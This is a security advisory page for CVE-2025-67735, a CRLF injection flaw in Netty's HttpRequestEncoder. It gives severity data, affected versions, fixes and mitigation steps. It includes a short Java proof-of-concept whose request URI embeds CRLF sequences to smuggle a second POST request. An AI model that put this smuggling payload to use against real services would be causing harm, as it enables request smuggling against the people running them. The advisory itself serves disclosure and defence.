CVE-2025-67735 is a medium-severity (CVSS 6.5) CWE-93 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-67735.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
io.netty:netty-codec-http☕io.netty:netty-codec-httpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-http | ≥ 4.2.0.Alpha1&&< 4.2.8.Final | 4.2.8.Finalio.netty:netty-codec-http:4.2.8.Final |
| ☕Maven | io.netty:netty-codec-http | all versions | 4.1.129.Finalio.netty:netty-codec-http:4.1.129.Final |
Affected Products
nettynettyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-http to 4.2.8.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-67735 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Moderate for Red Hat products. A CRLF injection flaw exists in the `io.netty.handler.codec.http.HttpRequestEncoder` component of Netty. This can lead to request smuggling if applications using `HttpRequestEncoder` do not properly sanitize the request URI, allowing an attacker to inject…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2025-67735 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat build of Quarkus 3.20.5.redhat | io.netty/netty-codec-http:4.1.130.Final-redhat-00001 | RHSA-2026:1899 |
| Red Hat build of Quarkus 3.27.2.redhat | io.netty/netty-codec-http:4.1.130.Final-redhat-00001 | RHSA-2026:1965 |
Frequently Asked Questions
Is CVE-2025-67735 in your dependencies?
Find it across Maven, including transitive dependencies.